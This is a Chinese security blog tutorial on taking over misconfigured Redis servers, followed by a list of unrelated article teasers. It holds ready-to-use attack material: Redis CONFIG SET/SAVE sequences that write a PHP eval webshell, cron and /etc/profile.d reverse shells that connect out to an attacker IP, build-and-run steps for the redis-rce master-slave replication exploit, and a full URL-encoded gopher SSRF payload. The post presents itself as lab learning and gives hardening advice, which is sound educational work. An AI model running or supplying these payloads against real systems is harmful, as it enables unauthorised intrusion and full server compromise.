当前位置: 首页 > news >正文

从0到1浅析Redis服务器反弹Shell那些事

文章目录

  • 前言
  • Redis服务
    • 1.1 特点与应用
    • 1.2 安装与使用
    • 1.3 语法和配置
    • 1.4 未授权访问
  • 反弹Shell
    • 2.1 Web服务写入Webshell
    • 2.2 Linux定时任务反弹shell
    • 2.3 /etc/profile.d->反弹shell
    • 2.4 写入ssh公钥登录服务器
    • 2.5 利用Redis主从复制RCE
    • 2.6 SSRF漏洞组合拳->RCE
  • 总结

前言

2020 年曾在 渗透测试-Weblogic SSRF漏洞复现 一文中通过 SSRF 探测到局域网内的 Redis 服务器,并借助其未授权访问(登录)漏洞反弹 Shell,然而回首发现当时并未说清楚、弄明白借助 Redis 反弹 Shell 的真实原理(说白了当时太水了……复现漏洞走马观花,实打实的脚本小子)。

与此同时,在各大安全社区的文章中不难发现,借助 Redis 服务器反弹 Shell 基本上属于攻防实战中获取服务器权限的常规操作了。本文将从 0 到 1 学习下 Redis 服务器反弹 Shell 的各路姿势,并从中进一步理解 Linux 服务器定时任务、公钥登录等特性在网络攻防中的应用。

Redis服务

Redis(Remote DIctionary Server,远程字典服务) 是一个 key-value 存储系统,是跨平台的非关系型(Nosql)数据库。它是一个开源的使用 ANSIC 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。 Redis 基础教程请参见:菜鸟教程—Redis教程。

1.1 特点与应用

Redis的特点

Redis 有几个主要特点,使它优越于其他键值数据存储系统:

  1. Redis 将其数据库完全保存在内存中,仅使用磁盘进行持久化,这使得 Redis 具有很高的读写性能,适用于对响应速度要求较高的应用场景,比如缓存系统;
  2. Redis 支持多种数据结构,不仅仅支持简单的 key-value 类型的数据,还提供了 list、set 和 hash 等更复杂的数据结构的存储;
  3. Redis 支持数据的备份,可以通过主从模式(master-slave)进行数据备份,增加了数据的可靠性和安全性。

Redis的应用场景

缓存服务器几乎是现在所有中大型网站都在用的必杀技,合理利用缓存不仅能够提升网站访问速度,还能大大降低数据库的压力。Redis 提供了键过期功能,也提供了灵活的键淘汰策略,同时与 MySQL 数据库不同的是,Redis 的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过 10 万次读写操作。因此 Redis 被广泛应用于缓存。

来看看网上一张关于企业通过阿里云进行业务上云的架构方案图:
在这里插入图片描述
可以看到,Redis 服务器在这里就被用于分担阿里云 RDS 数据库服务器的访问压力。

此时 Redis 缓存服务器的工作逻辑:接收到用户发送的数据读取请求后,先查下自身缓存,缓存有值命中,就直接返回;缓存没命中,就去 RDS 数据库查询,然后把数据库的值更新到缓存,再返回给用户。

基于上述工作逻辑,我们需要进一步了解到 Redis 服务关于 缓存穿透缓存雪奔 的概念。

缓存穿透:指查询一个一定不存在的数据,由于缓存是不命中时需要从数据库查询,查不到数据则不写入缓存,这将导致这个不存在的数据每次请求都要到数据库去查询,进而给数据库带来压力。

通俗点说,读请求访问时,缓存和数据库都没有某个值,这样就会导致每次对这个值的查询请求都会穿透到数据库,这就是缓存穿透。

缓存穿透一般都是这几种情况产生的:

  1. 业务不合理的设计,比如大多数用户都没开守护,但是你的每个请求都去缓存,查询某个userid查询有没有守护;
  2. 业务/运维/开发失误的操作,比如缓存和数据库的数据都被误删除了;
  3. 黑客非法请求攻击,比如黑客故意捏造大量非法请求,以读取不存在的业务数据。

缓存雪奔: 指缓存中数据大批量到过期时间,而查询数据量巨大,请求都直接访问数据库,引起数据库压力过大甚至宕机。

  1. 缓存雪奔一般是由于大量数据同时过期造成的,对于这个原因,可通过均匀设置过期时间解决,即让过期时间相对离散一点,如采用一个较大固定值+一个较小的随机值,5小时 +0 到 1800 秒这样子。
  2. Redis 故障宕机也可能引起缓存雪奔,这就需要构造 Redis 高可用集群啦。

我们在项目中使用 Redis,肯定不会是单点部署 Redis 服务的。因为,单点部署一旦宕机,就不可用了。为了实现高可用,通常的做法是,将数据库复制多个副本以部署在不同的服务器上,其中一台挂了也可以继续提供服务。Redis 实现高可用有三种部署模式:主从模式哨兵模式集群模式

在主从模式中,Redis 部署了多台机器,有主节点,负责读写操作,有从节点,只负责读操作。而从节点的数据来自主节点,实现原理就是主从复制机制。主从复制包括全量复制,增量复制两种。一般当 slave 第一次启动连接 master,或者认为是第一次连接,就采用全量复制。而当 slave 与 master 全量同步之后,master 上的数据如果再次发生更新,就会触发增量复制。

更多 Redis 服务的知识介绍请参见:【超级详细】一文搞懂redis的所有知识点、如何最简单、通俗地理解redis数据库?。

1.2 安装与使用

此处我采用的 Ubuntu 虚拟机来搭建 Redis 数据库服务。

在 Ubuntu 系统安装 Redis 可以使用以下命令:

# 安装redis
sudo apt update
sudo apt install redis-server
# 启动 Redis
redis-server
# 查看redis是否启动,可通过客户端管理工具连接
redis-cli

解释一下,Redis 分为服务端和客户端的,Redis 在安装完成之后会有 redis-cli 客户端管理工具:

redis-cli -h host                       # 免密登录
redis-cli -h host -p port -a password   # 使用 Redis 密码登录 Redis 服务

与 Redis 服务连接成功后,执行 PING 命令,如果服务器运作正常的话,会返回一个 PONG,如下所示(证明我们已经成功安装 Redis 数据库服务):
在这里插入图片描述

其他操作系统安装 Redis 数据库服务的方法请参见:Redis 菜鸟教程。

1.3 语法和配置

Redis 键命令的基本语法为:

  1. 使用 SET 和 GET 命令,可以完成基本的赋值和取值操作;
  2. 使用 * 可以获取所有配置项(GET 、 KEYS);
  3. Redis 不区分命令的大小写,set 和 SET 是同一个意思;
  4. 如果键的值中有空格,需要使用双引号括起来;

常见的一些 Redis 操作和命令如下:

SET key "Hello World"                # 设置键 key 的值为字符串 Hello World
GET key                              # 获取键 key 的值,如果 key 不存在,返回 nil 。如果key 储存的值不是字符串类型,返回一个错误
DEL key                              # 删除键 key
KEYS *                               # 获取 redis 中所有的 key,Keys 命令用于查找所有符合给定模式 pattern 的 key
SAVE                                 # 用于创建当前数据库的备份,在 redis 安装目录中创建dump.rdb文件
CONFIG GET *                         # 用于获取 redis 服务所有配置项
CONFIG GET requirepass               # 用于获取 redis 服务的配置参数,通过 CONFIG 命令查看或设置配置项
CONFIG REWRITE requirepass "123456"  # 对 redis.conf 配置文件进行改写,重启后才会被修改
CONFIG SET requirepass "123456"      # 动态地调整 Redis 服务器的配置(configuration)而无须重启
Flushall                             # 用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key)
SELECT index                         # Redis Select 命令用于切换到指定的数据库,数据库索引号 index 用数字值指定,以 0 作为起始索引值。

在这里插入图片描述
Redis 服务提供了多个配置项(位于redis.conf配置文件中):
在这里插入图片描述
部分核心安全配置项及其含义如下:

配置项含义
port 6379指定 Redis 监听端口,默认端口为 6379
bind 127.0.0.1绑定的主机地址,格式为 bind 后面接 IP 地址,可以同时绑定在多个 IP 地址上,IP地址之间用空格分离,如 bind 192.168.1.100 10.0.0.1;如果没有指定 bind 参数,则绑定在本机的所有 IP 地址上
save <seconds> <changes>指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合
dbfilename dump.rdb指定本地数据库文件名,默认值为 dump.rdb
dir ./指定本地数据库存放目录,指明 Redis 的工作目录为设定的目录,Redis 产生的备份文件将放在这个目录下
requirepass foobared设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH <password> 命令提供密码,默认关闭
protected-moderedis3.2 版本后新增 protected-mode 配置,默认是 yes ,用于设置外部网络连接 redis 服务。关闭 protected-mode 模式,此时外部网络可以直接访问;开启 protected-mode 保护模式,需配置 bind ip 或者设置访问密码

1.4 未授权访问

从上面的介绍中不难看出,由于 Redis 默认不开启连接密码保护,这直接导致了暴露在公网中的 Redis 服务存在未授权访问的安全风险。

但与此同时, redis 3.2.0 版本后 redis.conf 配置文件中还有两个比较重要的参数: bind 以及 protected-mode。经过验证,唯有以下情况可以满足未授权访问 Redis:

  1. 未开启登录认证(即没有配置登录密码,默认即可满足),设置 bind 参数将 redis 绑定到了 0.0.0.0(意味着当前主机所有 IP 都能访问,比如公网 IP、局域网 IP);
  2. 未开启登录认证(即没有配置登录密码,默认即可满足),未绑定 redis 到任何地址 (即将 bind 参数注释掉),同时关闭保护模式(设置 protected-mode 的参数为 no)。

以下是我上述 Ubuntu 虚拟机安装 Redis 后的相关默认配置:
在这里插入图片描述
可以看见,由于此时 Redis 数据库服务默认绑定了 127.0.0.1 的 IP 地址,这将导致只允许 Ubuntu 虚拟机本地访问,也就不存在公网未授权访问的安全风险,意味着默认安全(虽然未配置登录密码,但是仅允许本机器访问,除非本机器已被攻陷,否则可以视为安全)。

我们通过局域网的 Kali 虚拟机来验证下是否能未授权登录:
在这里插入图片描述
可以看到,Kali 尝试未授权连接局域网 Redis 失败,因为 Redis 此时仅限其自身服务器本地连接。

为了进行安全研究,我们手动将 Redis 的 bind 配置项修改为 0.0.0.0 并重启下 Redis 服务(sudo /etc/init.d/redis-server restart):
在这里插入图片描述
此时再局域网 Kali 攻击机就能成功未授权连接、访问 Ubuntu 虚拟机上的 Redis 服务了:
在这里插入图片描述
至此,Redis 服务的基础知识以及其未授权访问的风险介绍完毕,可见运维或开发人员在使用 Redis 数据库服务的时候一定要注意安全配置,务必设置登录密码,同时不要将 bind 配置参数设置为 0.0.0.0 或者完全注释掉,避免服务暴露到公网。

0.0.0.0 表示本机中所有的 IPV4 地址,监听 0.0.0.0 的端口,就是监听本机中所有 IP 的端口,同理绑定 0.0.0.0 的 IP,则代表绑定本机所有 IP。

反弹Shell

以下我们讨论的是,万一开发人员或运维人员不小心将 Redis 服务暴露在公网(有时候也有实际业务需求)且未开启密码登录保护的情况下,如何通过连接 Redis 服务后进一步控制服务器。

2.1 Web服务写入Webshell

在 Redis 存在未授权访问的情况下,如果探测到该 Redis 服务器主机上也开启了 Web 服务的情况下(一般业务服务器不会跟数据库缓存服务器同在一台主机),通过信息泄露知道 Web 目录的路径,同时具有文件读写权限,就可以通过 Redis 在指定的 Web 目录下写入 Webshell 文件来获得服务器控制权。

下面我通过在 Ubuntu 虚拟机上搭建 Apache HTTP 服务来进行实验:

# 安装 php 环境和 apache 服务
sudo apt install apache2
sudo apt install libapache2-mod-php

Apache HTTP 服务默认 80 端口,网站 Web 目录位于 /var/www/html/
在这里插入图片描述
在这里插入图片描述
可创建 php 测试文件:
在这里插入图片描述
在这里插入图片描述

那么 Kali 攻击机可以通过连接 Redis 服务后,写入如下指令,上传 Webshell 到 Apache 服务器 Web 工作目录:

config set dir /var/www/html/ 
config set dbfilename shell.php
set xxx "<?php eval($_POST['cmd']);?>" 
save

结果发现写入失败:
在这里插入图片描述
返回 Ubuntu 查询 Redis 日志(sudo tail /var/log/redis/redis-server.log),发现是缺乏写权限:
在这里插入图片描述
需要 root 用户才能往 Web 目录写文件,但是高版本的 Redis 默认是以 redis 用户的身份启动和运行的:
在这里插入图片描述
可见在真实网络攻防环境中,想要利用 Redis 写入 Webshell 的预置条件是很高的,比如此处至少需要开发人员将 Redis 服务以 root 权限运行。

为了继续演示,那就以 root 身份运行 Redis 吧(先执行 /etc/init.d/redis-server stop 暂停原有服务):
在这里插入图片描述

在这里插入图片描述
然而问题又来了……此时居然 Kali 无法远程访问 Redis 了(我怀疑是 root 身份运行 Redis 时,Redis 默认安全策略导致本地redis.conf配置文件 bind 0.0.0.0 未生效导致的):
在这里插入图片描述
此时我有点不淡定了……但是实验还得继续,最后发现有两种方法解决该问题:

  1. 执行命令 sudo redis-server /etc/redis/redis.conf,使得配置文件对当前 root 身份运行的 Redis 进程生效即可:在这里插入图片描述
  2. 或者根据报错提示,执行 sudo redis-server --protected-mode no 重新启动 Redis 同时使得保护模式被关闭也可以;

注意由于我更换了局域网,所以 Ubuntu IP 已变更为 192.168.2.228在这里插入图片描述
返回 Ubuntu,可以看到已经成功写入 Webshell 了:
在这里插入图片描述
最后 Windows 物理机上哥斯拉连接:
在这里插入图片描述
成功获得 shell:
在这里插入图片描述
综上所述,可以看到 Redis 服务在被攻击者通过未授权访问漏洞或者弱口令爆破控制以后,攻击者想要获得 Webshell 的门槛和条件是很苛刻的:

  1. Redis 服务未开启 IP 地址绑定(如只允许本机 IP 访问)的安全保护;
  2. Redis 服务所在服务器需要同时运行着 Web 业务服务(大厂商的日子一般不至于这么拮据……);
  3. 服务器的 Web 服务的工作路径信息泄露;
  4. Redis 服务以高权限(如 root )身份运行,具备读写 Web 服务工作目录的能力。

但是上述实验过程还是给我们进一步利用 Redis 服务攻击目标服务器提供了潜在的可行攻击路径。同时也解释了 渗透测试-Weblogic SSRF漏洞复现 一文中,通过 SSRF 漏洞 + Redis 未授权漏洞获得 Webshell 的原理。

2.2 Linux定时任务反弹shell

Linux 定时任务类似于生活中使用的闹钟,可以自动完成操作命令(比如定时备份系统数据信息)。

crontab命令常见于 Unix 和类 Unix 的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于 “crontab” 文件中,以供之后读取和执行。通常,crontab 储存的指令被守护进程激活,crond 常常在后台运行,每一分钟检查是否有预定的作业需要执行,如果有要执行的工作便会自动执行该工作。注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。

cron 默认配置了调度任务,分别为:hourly、daily、weekly、mouthly,默认配置文件为 /etc/anacrontab。举个例子,系统控制每小时定时任务目录:/etc/cron.hourlyhourly 内的可执行文件(比如.sh文件)每小时都会从头到尾的执行一遍,将需要执行的脚本放到相应的目录下即可。相应的,系统还有每天、每周、每月定时任务的默认目录,如下:
在这里插入图片描述
crontab 命令

/sbin/service crond start     //启动服务
/sbin/service crond stop     //关闭服务
/sbin/service crond restart  //重启服务
/sbin/service crond reload   //重新载入配置
crontab -l //列出某个用户cron服务的详细内容
crontab -r //删除某个用户的cron服务
crontab -e //编辑某个用户的cron服务

cron 相关语法

每一条定时任务都由以下几个部分组成:

|| 小时 ||| 星期 | 命令 |0-59  0-23  1-31 1-12  0-6  command (取值范围,0表示周日一般一行对应一个任务)

如果 command 放脚本文件,这样就能定时执行脚本内容。下面举两个个例子:

1)每分钟写入 “123” 到固定文件中。

[root@izwz9 ~]# crontab -e //编辑定时任务列表
*/1 * * * * echo 123 >> /root/a.txt  //写入定时任务后保存并退出
[root@izwz9 ~]# /sbin/service crond restart //重启,一分钟后出现/root/a.txt

2)每天凌晨自动重启 pm2 :

[root@izwz9 ~]# crontab -e //编辑定时任务列表
0 0 */1 * * /bin/sh /root/restartTask.sh  //写入定时任务后保存并退出
[root@izwz9 ~]# /sbin/service crond restart //重启

/root/restartTask.sh 文件中存放脚本内容,内容如下:

#!/bin/bash
source ~/.bashrc
/www/node-v8.10.0-linux-x64/bin/pm2 restart looovoTask

实践体验

在 Ubuntu 虚拟机中新增定时任务如下:
在这里插入图片描述
在这里插入图片描述
增加的反弹 Shell 的定时任务:

*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.126/6666 0>&1

静候 1 分钟,可以看到定时任务被执行了, Kali Linux 成功获得 Ubuntu Shell:
在这里插入图片描述

衍生攻击手段

基于以上 Linux 系统的定时任务特性,我们在获得 Redis 服务访问权限后,可以在目标主机的定时任务文件中写入一个反弹 shell 的脚本,从而获得目标设备的控制权。

但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们反弹 shell 的命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名,否则就不能生效。

比如,当前用户名为 root,我们就要将 Webshell 内容写入到:

Linux系统路径
Centos 系列/var/spool/cron/root
Debian/Ubuntu 系列/var/spool/cron/crontabs/root

完整的 Redis 客户端命令,对于 Centos 如下:

config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.11/6666 0>&1\n\n"
save

对于 Ubuntu:

config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.11/6666 0>&1\n\n"
save

以 Ubuntu 为例进行演示:
在这里插入图片描述
在这里插入图片描述
成功写入定时任务,但是反弹 Shell 是失败的。

参考 《纸上得来终觉浅——Redis 个人总结》 可以得知通过定时任务反弹 Shell 的方式在 Ubuntu 上行不通:

  1. 因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/<username> 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 /var/spool/cron/<username> 权限 644 也可以执行;
  2. 因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错。

本人没安装 Centos 虚拟机,参见大佬们的演示截图吧:
在这里插入图片描述
在这里插入图片描述
同样的,由于定时任务的路径权限所限,Redis 服务进程必须以高权限运行,否则此攻击方式也将无效。

2.3 /etc/profile.d->反弹shell

Ubuntu 通过定时任务无法轻易反弹 Shell 的话,我们还可以借助 Linux 的环境变量配置来完成此任务。

简单理解下环境变量:在 Windows系统下,很多软件的安装都需要设置环境变量,比如安装 JAVA JDK。如果不安装环境变量,在非软件安装的目录下运行 javac 命令,将会报告“找不到文件”类似的错误。那么,什么是环境变量呢?简要的说,就是指定一个目录,运行软件的时候,相关的程序将会按照该目录寻找相关文件。

在 Linux 系统下,如果你下载并安装了应用程序,很有可能在键入它的名称时出现 “command not found” 的提示内容。如果每次都到安装目标文件夹内,找到可执行文件来进行操作就太繁琐了。这涉及到环境变量 PATH 的 设置 问题,而 PATH 的设置也是在 Linux 下定制环境变量的一个组成部分。

Linux配置系统环境的完整方式:操作系统:Linux 环境变量配置的 6 种方法。

一般情况下,我们配置环境变量时,都是通过 /etc/profile 文件进行配置。在环境变量配置不多时,我们的确可以这么做。但是环境变量要是很多呢?岂不是每次都要编辑这个文件,新增对应的环境变量。如果这样的话,我们要删除之前新增的环境变量,也只能在 /etc/profile 里慢慢找,逐个删除,这就很麻烦。

那有没有更好的办法呢?有的,那就是使用/etc/profile.d/,在这个目录下新增环境配置文件即可。/etc/profile.d/这个目录是用来干嘛的呢?简单来说,它和 /etc/profile 的功能可以说是一样的,系统启动或者用户重新登录 shell 后,这个目录下的 .*sh 文件会自动执行,解析后配置到环境变量中

看下/etc/profile里是怎么写的:
在这里插入图片描述
那么使用 /etc/profile.d/ 的好处是什么呢?那就是解耦环境变量。试想一下,我们在 /etc/profile.d/ 配置了某个环境变量配置文件,什么时候我们不在需要这个环境变量了,我们只需要删掉这个.sh文件即可,不用再改/etc/profile,是不是就方便多了。

以 JAVA 环境配置为例,可以新增/etc/profile.d/java.sh,文件内容如下:

JAVA_HOME=/usr/local/jdk1.8.0_301
JRE_HOME=/usr/local/jdk1.8.0_301/jre
CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib
PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin
export PATH

此处我试验一下,以 root 权限创建一个反弹 Shell 的/etc/profile.d/test.sh文件:
在这里插入图片描述
然后通过 Windows 物理机 SSH 登录 Ubuntu 虚拟机:
在这里插入图片描述
此时 Kali 攻击机即可获得 Ubuntu 虚拟机 Shell:
在这里插入图片描述
那么,我们同样来试下通过 Redis 写入恶意环境变量配置环境并反弹 Shell 是否可行。

config set dir /etc/profile.d/ 
config set dbfilename evil.sh
set xxx "\r\n\r\n/bin/bash -i >& /dev/tcp/192.168.2.11/6666 0>&1 &\r\n\r\n" 
save

成功创建文件 evil.sh,但是却是乱码,无法反弹 Shell……
在这里插入图片描述
在这里插入图片描述

Ubuntu 这个巨坑……建议大家不要再用 Ubuntu 来实践 Redis 的攻击利用了。

2.4 写入ssh公钥登录服务器

在使用 SSH 客户端远程连接 Linux 服务器时,为了考虑安全方面的因素,可以使用公私钥对的方式来替代密码进行登录。

如果目标服务器上 Redis 以 root 身份运行,可以可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,然后攻击者便可以直接通过 SSH 私钥远程登录目标服务器。

此处只提供利用思路,不再动手复现了,环境太坑,过多浪费时间了。实际攻防实践中遇到此场景的话(公网高版本 Redis 以 root 身份运行的利用条件从上面可看出很苛刻),再查阅具体资料解决,此处只记录利用思路。

2.5 利用Redis主从复制RCE

Redis 是一个使用 ANSIC 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在 Reids 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 Redis 中实现一个新的 Redis 命令,通过写 C 语言编译并加载恶意的 .so 文件,达到代码执行的目的。

编写恶意 so 文件的代码:RedisModules-ExecuteCommand,下载后用 make 编译即可生成:

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so

在两个 Redis 实例设置主从模式的时候,Redis的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载 so 文件,我们就可以执行拓展的新命令并反弹获得 Shell 了。同时在 Github 已有公开的 Getshell Python脚本 redis-rce 可以拿来直接食用。
在这里插入图片描述

此处只记录利用思路,同样不再动手复现,有需求再查阅资料。需要注意的是,主从复制的利用版本是 4.x-5.x,从 6.0 开始,就无法利用成功,写入 exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。

2.6 SSRF漏洞组合拳->RCE

2020 年曾在 渗透测试-Weblogic SSRF漏洞复现 一文中通过 SSRF 探测到局域网内的 Redis 服务器,并借助其未授权访问(登录)漏洞反弹 Shell。其中反弹 Shell 部分是通过 SSRF 漏洞发送 HTTP 请求给 Redis 服务并传输借助 Linux 定时任务反弹 Shell 的 Redis Payload:
在这里插入图片描述
但是此处使用 HTTP 协议传输 Redis Payload 的方法并不是在所有场景都适用。而在 Redis 服务的攻击利用中,常用的还有另外一种协议:gother://协议。

gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。协议格式如下:

gopher://<host>:<port>//<gopher-path>_后接TCP数据流

这里介绍一个 Gophar 协议利用工具 Gopharus,该工具将帮助我们生成 Gopher 有效负载,以利用 SSRF(服务器端请求伪造)并获得 RCE(远程代码执行)。 而且它将帮助我们在受害服务器上获得 shell,使用方法非常简单,按照提示就可以生成 payload 了

python gopherus.py --exploit redis

在这里插入图片描述
结合 SSRF 对应的 Payload 格式:

http://10.1.8.159/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%34%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%66%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%36%38%25%36%66%25%37%33%25%37%34%25%35%66%25%33%38%25%33%30%25%32%66%25%37%37%25%37%37%25%37%37%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%32%30%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35

更多 Redis + SSRF 反弹 Shell 的资料可以参见:

  1. 当SSRF遇上Redis;
  2. SSRF攻击内网Redis;
  3. 浅析Redis中SSRF的利用;
  4. SSRF + Redis 利用方式学习笔记 ;

总结

本文学习了 Redis 服务的作用,并本地搭建了 Redis 服务,同时介绍了其相关基础使用方法和核心安全配置。然后总结分析了 Redis 未授权访问漏洞或弱口令导致 Redis 服务被攻击者操控后,如何进一步通过反弹 Shell 接管服务器。

整体而言,Redis 服务想要获得 RCE 的条件是比较苛刻的,需要具备配置公网访问、未开启 IP 地址绑定、以 Root 身份运行等前提,这些都需要开发或运维人员错误配置的情况下才有可能成功利用。

这期间也学习了通过 Linux 定时计划任务、/etc/profile.d环境变量配置、公私钥登录等特性反弹 Shell 的技巧,攻防实践中请注意,如果目标服务器存在 任意文件上传 + 路径穿越漏洞导致任意文件覆写这类的漏洞的话,我们也同样可以采用 Linux 这几个特性来反弹 Shell 并控制服务器。

本文参考文章:

  1. 如何最简单、通俗地理解redis数据库?;
  2. 【超级详细】一文搞懂redis的所有知识点;
  3. 纸上得来终觉浅:Redis 个人总结;
  4. Redis未授权访问漏洞复现与利用;
  5. SSRF + Redis 利用方式学习笔记 ;

相关文章:

从0到1浅析Redis服务器反弹Shell那些事

文章目录 前言Redis服务1.1 特点与应用1.2 安装与使用1.3 语法和配置1.4 未授权访问 反弹Shell2.1 Web服务写入Webshell2.2 Linux定时任务反弹shell2.3 /etc/profile.d->反弹shell2.4 写入ssh公钥登录服务器2.5 利用Redis主从复制RCE2.6 SSRF漏洞组合拳->RCE 总结 前言 …...

JavaScript中alert、confrim、prompt的使用及区别【精选】

Hi i,m JinXiang ⭐ 前言 ⭐ 本篇文章主要介绍JavaScript中alert、confrim、prompt的区别及使用以及部分理论知识 &#x1f349;欢迎点赞 &#x1f44d; 收藏 ⭐留言评论 &#x1f4dd;私信必回哟&#x1f601; &#x1f349;博主收将持续更新学习记录获&#xff0c;友友们有任…...

Docker Compose容器编排实战

介绍 Docker Compose 是 Docker 官方提供的一种工具&#xff0c;用于定义和运行多个 Docker 容器的应用。它使用简单的 YAML 文件&#xff08;通常称为 docker-compose.yml&#xff09;来配置应用的服务&#xff0c;并使用单个命令即可创建、启动和停止整个应用。 官方文档&am…...

科技创新实验室数据管理优选:高效企业网盘推荐

科技创新实验室建设是国家加强科技创新基本能力建设的重要措施&#xff0c;企业网盘等高效办公工具的应用是保证科技创新实验室正常运行、提高科研项目团队合作效率的重要手段。 本文将介绍企业网盘Zoho WorkDrive提供的解决方案&#xff1a; 行业痛点1&#xff1a;分散的数据…...

记录一次云服务器使用docker搭建kafka的过程

创建网络 一定要将zookeeper注册中心与kafka建在一个network中&#xff0c;不然在springboot 集成 kakfa的demo测试代码中进行消息发送时会超时&#xff0c;报错&#xff1a; E x c e p t i o n t h r o w n w h e n s e n d i n g a m e s s a g e w i t h k e y ‘ n u l l…...

微信小程序与vue区别

微信小程序和Vue是两个完全不同的东西&#xff0c;虽然它们都是前端技术&#xff0c;但是有以下几点区别&#xff1a; 技术栈不同&#xff1a; 微信小程序使用WXML、WXSS和JavaScript进行开发&#xff0c;而Vue使用HTML、CSS和JavaScript进行开发。微信小程序是一种基于微信平台…...

GIT提交、回滚等基本操作记录

1、add文件时warning: LF will be replaced by CRLF in .idea/workspace.xml. 原因&#xff1a;windows中的换行符为 CRLF&#xff0c; 而在Linux下的换行符为LF&#xff0c;所以在执行add . 时会出现以下提示 解决&#xff1a;git config core.autocrlf false 2、GIT命令&…...

Apollo自动驾驶:从概念到现实的里程碑

前言 「作者主页」&#xff1a;雪碧有白泡泡 「个人网站」&#xff1a;雪碧的个人网站 ChatGPT体验地址 文章目录 前言1. Apollo Client2. Apollo Server3. Apollo Federation4. Apollo Tracing5. Apollo Codegen6. Apollo Link7. 其他工具和框架结论 &#x1f680;&#x1f…...

再看promise

第一次学的时候没学牢固 后面意识到promise的重要性之后 陆陆续续的看、查&#xff0c;终于在今天 感觉好像明白点了 把自己敲的理解分享给大家 <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <meta name&…...

Redis 分布式锁总结

在一个分布式系统中,由于涉及到多个实例同时对同一个资源加锁的问题,像传统的synchronized、ReentrantLock等单进程情况加锁的api就不再适用,需要使用分布式锁来保证多服务实例之间加锁的安全性。常见的分布式锁的实现方式有zookeeper和redis等。而由于redis分布式锁相对于比…...

Vue懒加载深度解析:提升性能、优化用户体验的完整指南

文章目录 &#x1f333;引言&#x1f333;Vue懒加载基础&#x1f332;什么是懒加载&#xff1f;&#x1f332;组件级懒加载&#x1f332;图片懒加载 &#x1f333;懒加载的原理与优势&#x1f332;组件懒加载原理&#x1f332;图片懒加载原理&#x1f332;懒加载的优势 &#x…...

“图解C语言:一维数组的声明、创建与初始化艺术“

